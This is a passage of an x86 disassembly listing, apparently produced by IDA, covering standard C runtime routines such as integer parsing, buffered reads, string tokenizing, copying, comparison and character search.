; ---------------------------------------------------------------------------

loc_41857B:				; CODE XREF: sub_418533+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418589
		or	[ebp+arg_C], 2
		jmp	short loc_41858E
; ---------------------------------------------------------------------------

loc_418589:				; CODE XREF: sub_418533+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418594

loc_41858E:				; CODE XREF: sub_418533+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_418594:				; CODE XREF: sub_418533+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41872B
		cmp	eax, 1
		jz	loc_41872B
		cmp	eax, 24h
		jg	loc_41872B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4185DC
		cmp	bl, 30h
		jz	short loc_4185C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4185F8
; ---------------------------------------------------------------------------

loc_4185C6:				; CODE XREF: sub_418533+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4185D9
		cmp	al, 58h
		jz	short loc_4185D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4185F8
; ---------------------------------------------------------------------------

loc_4185D9:				; CODE XREF: sub_418533+97j
					; sub_418533+9Bj
		mov	[ebp+arg_8], ecx

loc_4185DC:				; CODE XREF: sub_418533+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4185F8
		cmp	bl, 30h
		jnz	short loc_4185F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4185F0
		cmp	al, 58h
		jnz	short loc_4185F8

loc_4185F0:				; CODE XREF: sub_418533+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_4185F8:				; CODE XREF: sub_418533+91j
					; sub_418533+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_418608:				; CODE XREF: sub_418533+16Cj
		cmp	dword_438C8C, 1
		movzx	esi, bl
		jle	short loc_418620
		push	4
		push	esi
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41862B
; ---------------------------------------------------------------------------

loc_418620:				; CODE XREF: sub_418533+DFj
		mov	eax, off_438A80
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41862B:				; CODE XREF: sub_418533+EBj
		test	eax, eax
		jz	short loc_418637
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418669
; ---------------------------------------------------------------------------

loc_418637:				; CODE XREF: sub_418533+FAj
		cmp	dword_438C8C, 1
		jle	short loc_41864B
		push	edi
		push	esi
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_418656
; ---------------------------------------------------------------------------

loc_41864B:				; CODE XREF: sub_418533+10Bj
		mov	eax, off_438A80
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_418656:				; CODE XREF: sub_418533+116j
		test	eax, eax
		jz	short loc_4186A4
		movsx	eax, bl
		push	eax
		call	sub_41D3CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_418669:				; CODE XREF: sub_418533+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4186A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41868E
		jnz	short loc_418688
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41868E

loc_418688:				; CODE XREF: sub_418533+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418697
; ---------------------------------------------------------------------------

loc_41868E:				; CODE XREF: sub_418533+145j
					; sub_418533+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_418697:				; CODE XREF: sub_418533+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418608
; ---------------------------------------------------------------------------

loc_4186A4:				; CODE XREF: sub_418533+125j
					; sub_418533+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4186C2
		test	edx, edx
		jz	short loc_4186BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4186BC:				; CODE XREF: sub_418533+181j
		and	[ebp+var_8], 0
		jmp	short loc_41870F
; ---------------------------------------------------------------------------

loc_4186C2:				; CODE XREF: sub_418533+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4186E8
		test	cl, 1
		jnz	short loc_41870F
		and	ecx, 2
		jz	short loc_4186DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4186E8

loc_4186DF:				; CODE XREF: sub_418533+1A1j
		test	ecx, ecx
		jnz	short loc_41870F
		cmp	[ebp+var_8], eax
		jbe	short loc_41870F

loc_4186E8:				; CODE XREF: sub_418533+197j
					; sub_418533+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4894AC, 22h
		jz	short loc_4186FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41870F
; ---------------------------------------------------------------------------

loc_4186FE:				; CODE XREF: sub_418533+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41870F:				; CODE XREF: sub_418533+18Dj
					; sub_418533+19Cj ...
		test	edx, edx
		jz	short loc_418718
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_418718:				; CODE XREF: sub_418533+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418726
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_418726:				; CODE XREF: sub_418533+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_41872B:				; CODE XREF: sub_418533+66j
					; sub_418533+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418734
		mov	[eax], edi

loc_418734:				; CODE XREF: sub_418533+1FDj
		xor	eax, eax

loc_418736:				; CODE XREF: sub_418533+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418533	endp


; =============== S U B	R O U T	I N E =======================================



sub_41873B	proc near		; CODE XREF: sub_405285+4A6p
					; sub_40EC43+372Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418533
		add	esp, 10h
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418752	proc near		; CODE XREF: sub_405285+24Cp
					; sub_405285+450p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4177B0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D497
		add	esp, 10h
		leave
		retn
sub_418752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418786	proc near		; CODE XREF: sub_4058E9+4Ep
					; sub_406A71+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_4187AA
		xor	eax, eax
		jmp	loc_418853
; ---------------------------------------------------------------------------

loc_4187AA:				; CODE XREF: sub_418786+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4187BD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4187C9
; ---------------------------------------------------------------------------

loc_4187BD:				; CODE XREF: sub_418786+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_4187C9
; ---------------------------------------------------------------------------

loc_4187C6:				; CODE XREF: sub_418786+C4j
		mov	ecx, [ebp+arg_0]

loc_4187C9:				; CODE XREF: sub_418786+35j
					; sub_418786+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4187FB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4187FB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4187E0
		mov	edi, eax

loc_4187E0:				; CODE XREF: sub_418786+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417090
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418846
; ---------------------------------------------------------------------------

loc_4187FB:				; CODE XREF: sub_418786+49j
					; sub_418786+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41882E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418811
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_418811:				; CODE XREF: sub_418786+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E021
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418858
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41885E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418846
; ---------------------------------------------------------------------------

loc_41882E:				; CODE XREF: sub_418786+78j
		push	esi
		call	sub_41DF48
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418862
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_418846:				; CODE XREF: sub_418786+73j
					; sub_418786+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_4187C6
		mov	eax, [ebp+arg_8]

loc_418853:				; CODE XREF: sub_418786+1Fj
					; sub_418786+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418858:				; CODE XREF: sub_418786+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418862
; ---------------------------------------------------------------------------

loc_41885E:				; CODE XREF: sub_418786+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_418862:				; CODE XREF: sub_418786+B2j
					; sub_418786+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418853
sub_418786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41886E	proc near		; CODE XREF: sub_405983+2A1p
					; sub_405F35+100p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_418887:				; CODE XREF: sub_41886E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418887
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4188AF
		mov	edx, dword_4894A8

loc_4188AF:				; CODE XREF: sub_41886E+39j
					; sub_41886E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4188CF
		test	al, al
		jz	short loc_4188CF
		inc	edx
		jmp	short loc_4188AF
; ---------------------------------------------------------------------------

loc_4188CF:				; CODE XREF: sub_41886E+58j
					; sub_41886E+5Cj
		mov	ebx, edx

loc_4188D1:				; CODE XREF: sub_41886E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_4188F5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_4188F1
		inc	edx
		jmp	short loc_4188D1
; ---------------------------------------------------------------------------

loc_4188F1:				; CODE XREF: sub_41886E+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_4188F5:				; CODE XREF: sub_41886E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4894A8, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41886E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418910	proc near		; CODE XREF: sub_4061E4+1B3p
					; sub_4070A3+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418993
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418934
		shr	ecx, 2
		jnz	short loc_4189A1
		jmp	short loc_418955
; ---------------------------------------------------------------------------

loc_418934:				; CODE XREF: sub_418910+1Bj
					; sub_418910+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418962
		test	al, al
		jz	short loc_41896A
		test	esi, 3
		jnz	short loc_418934
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4189A1

loc_418950:				; CODE XREF: sub_418910+8Fj
		and	ebx, 3
		jz	short loc_418962

loc_418955:				; CODE XREF: sub_418910+22j
					; sub_418910+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41898E
		dec	ebx
		jnz	short loc_418955

loc_418962:				; CODE XREF: sub_418910+2Bj
					; sub_418910+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41896A:				; CODE XREF: sub_418910+2Fj
		test	edi, 3
		jz	short loc_418984

loc_418972:				; CODE XREF: sub_418910+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418A06
		test	edi, 3
		jnz	short loc_418972

loc_418984:				; CODE XREF: sub_418910+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4189F7

loc_41898B:				; CODE XREF: sub_418910+7Fj
					; sub_418910+F4j
		mov	[edi], al
		inc	edi

loc_41898E:				; CODE XREF: sub_418910+4Dj
		dec	ebx
		jnz	short loc_41898B
		pop	ebx
		pop	esi

loc_418993:				; CODE XREF: sub_418910+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418999:				; CODE XREF: sub_418910+A9j
					; sub_418910+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418950

loc_4189A1:				; CODE XREF: sub_418910+20j
					; sub_418910+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418999
		test	dl, dl
		jz	short loc_4189EB
		test	dh, dh
		jz	short loc_4189E1
		test	edx, 0FF0000h
		jz	short loc_4189D7
		test	edx, 0FF000000h
		jnz	short loc_418999
		mov	[edi], edx
		jmp	short loc_4189EF
; ---------------------------------------------------------------------------

loc_4189D7:				; CODE XREF: sub_418910+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4189EF
; ---------------------------------------------------------------------------

loc_4189E1:				; CODE XREF: sub_418910+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4189EF
; ---------------------------------------------------------------------------

loc_4189EB:				; CODE XREF: sub_418910+ADj
		xor	edx, edx
		mov	[edi], edx

loc_4189EF:				; CODE XREF: sub_418910+C5j
					; sub_418910+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418A01

loc_4189F7:				; CODE XREF: sub_418910+79j
		xor	eax, eax

loc_4189F9:				; CODE XREF: sub_418910+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4189F9

loc_418A01:				; CODE XREF: sub_418910+E5j
		and	ebx, 3
		jnz	short loc_41898B

loc_418A06:				; CODE XREF: sub_418910+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418910	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A0E	proc near		; CODE XREF: sub_406A71+2E2p
					; sub_406A71+42Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418A8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418A2D
		cmp	edi, 1
		jz	short loc_418A2D
		cmp	edi, 2
		jnz	short loc_418A8A

loc_418A2D:				; CODE XREF: sub_418A0E+13j
					; sub_418A0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418A44
		push	esi
		call	sub_41E2B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_418A44:				; CODE XREF: sub_418A0E+27j
		push	esi
		call	sub_41A4D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418A59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418A6D
; ---------------------------------------------------------------------------

loc_418A59:				; CODE XREF: sub_418A0E+42j
		test	al, 1
		jz	short loc_418A6D
		test	al, 8
		jz	short loc_418A6D
		test	ah, 4
		jnz	short loc_418A6D
		mov	dword ptr [esi+18h], 200h

loc_418A6D:				; CODE XREF: sub_418A0E+49j
					; sub_418A0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E217
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418A97
; ---------------------------------------------------------------------------

loc_418A8A:				; CODE XREF: sub_418A0E+Bj
					; sub_418A0E+1Dj
		mov	dword_4894AC, 16h
		or	eax, 0FFFFFFFFh

loc_418A97:				; CODE XREF: sub_418A0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418A0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AA0	proc near		; CODE XREF: sub_406A71+2ACp
					; sub_406A71+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418AD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418ACF
		jz	short loc_418AD1
		dec	ecx
		dec	ecx

loc_418ACF:				; CODE XREF: sub_418AA0+29j
		not	ecx

loc_418AD1:				; CODE XREF: sub_418AA0+9j
					; sub_418AA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_406F62+5Cp
					; sub_406F62+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418B94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418B0A

loc_418AFB:				; CODE XREF: sub_418AE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418B3B
		test	edi, 3
		jnz	short loc_418AFB

loc_418B0A:				; CODE XREF: sub_418AE0+19j
					; sub_418AE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418B0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418B48
		test	ah, ah
		jz	short loc_418B43
		test	eax, 0FF0000h
		jz	short loc_418B3E
		test	eax, 0FF000000h
		jnz	short loc_418B0A

loc_418B3B:				; CODE XREF: sub_418AE0+20j
		dec	edi
		jmp	short loc_418B4B
; ---------------------------------------------------------------------------

loc_418B3E:				; CODE XREF: sub_418AE0+52j
		sub	edi, 2
		jmp	short loc_418B4B
; ---------------------------------------------------------------------------

loc_418B43:				; CODE XREF: sub_418AE0+4Bj
		sub	edi, 3
		jmp	short loc_418B4B
; ---------------------------------------------------------------------------

loc_418B48:				; CODE XREF: sub_418AE0+47j
		sub	edi, 4

loc_418B4B:				; CODE XREF: sub_418AE0+5Cj
					; sub_418AE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418B60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418BAC
		jmp	short loc_418B7C
; ---------------------------------------------------------------------------

loc_418B60:				; CODE XREF: sub_418AE0+75j
					; sub_418AE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418B9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418B90
		test	esi, 3
		jnz	short loc_418B60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418BAC

loc_418B7C:				; CODE XREF: sub_418AE0+7Ej
					; sub_418AE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418B90

loc_418B83:				; CODE XREF: sub_418AE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418B92
		dec	ecx
		jnz	short loc_418B83

loc_418B90:				; CODE XREF: sub_418AE0+8Bj
					; sub_418AE0+A1j
		mov	[edi], cl

loc_418B92:				; CODE XREF: sub_418AE0+ABj
		pop	ebx
		pop	esi

loc_418B94:				; CODE XREF: sub_418AE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418B9A:				; CODE XREF: sub_418AE0+85j
					; sub_418AE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418BA4:				; CODE XREF: sub_418AE0+E4j
					; sub_418AE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418B7C

loc_418BAC:				; CODE XREF: sub_418AE0+7Cj
					; sub_418AE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418BA4
		test	dl, dl
		jz	short loc_418B9A
		test	dh, dh
		jz	short loc_418BF8
		test	edx, 0FF0000h
		jz	short loc_418BE8
		test	edx, 0FF000000h
		jnz	short loc_418BA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418BE8:				; CODE XREF: sub_418AE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418BF8:				; CODE XREF: sub_418AE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C10	proc near		; CODE XREF: sub_4070A3+2A2p
					; sub_40EC43+31A1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418C31
		xor	eax, eax
		jmp	short loc_418C33
; ---------------------------------------------------------------------------

loc_418C31:				; CODE XREF: sub_418C10+1Bj
		mov	eax, edi

loc_418C33:				; CODE XREF: sub_418C10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418C10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418C50

loc_418C40:				; CODE XREF: sub_418C50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418C50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C50	proc near		; CODE XREF: sub_408A63+D9p
					; sub_40D8F8+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418C40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_418C56:				; CODE XREF: sub_417580+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418C7B

loc_418C68:				; CODE XREF: sub_418C50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418C40
		test	cl, cl
		jz	short loc_418CC4
		test	edx, 3
		jnz	short loc_418C68

loc_418C7B:				; CODE XREF: sub_418C50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_418C86:				; CODE XREF: sub_418C50+61j
					; sub_418C50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418CC8
		and	eax, 81010100h
		jz	short loc_418C86
		and	eax, 1010100h
		jnz	short loc_418CC2
		and	esi, 80000000h
		jnz	short loc_418C86

loc_418CC2:				; CODE XREF: sub_418C50+68j
					; sub_418C50+81j ...
		pop	esi
		pop	edi

loc_418CC4:				; CODE XREF: sub_418C50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418CC8:				; CODE XREF: sub_418C50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_418D05
		test	al, al
		jz	short loc_418CC2
		cmp	ah, bl
		jz	short loc_418CFE
		test	ah, ah
		jz	short loc_418CC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418CF7
		test	al, al
		jz	short loc_418CC2
		cmp	ah, bl
		jz	short loc_418CF0
		test	ah, ah
		jz	short loc_418CC2
		jmp	short loc_418C86
; ---------------------------------------------------------------------------

loc_418CF0:				; CODE XREF: sub_418C50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418CF7:				; CODE XREF: sub_418C50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418CFE:				; CODE XREF: sub_418C50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418D05:				; CODE XREF: sub_418C50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D0C	proc near		; CODE XREF: sub_408A63+C6p
					; sub_40EC43+47C1p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_418D20
		xor	eax, eax
		jmp	short loc_418D56
; ---------------------------------------------------------------------------

loc_418D20:				; CODE XREF: sub_418D0C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_418D50
		mov	esi, [ebp+arg_8]

loc_418D29:				; CODE XREF: sub_418D0C+42j
		dec	dword ptr [esi+4]
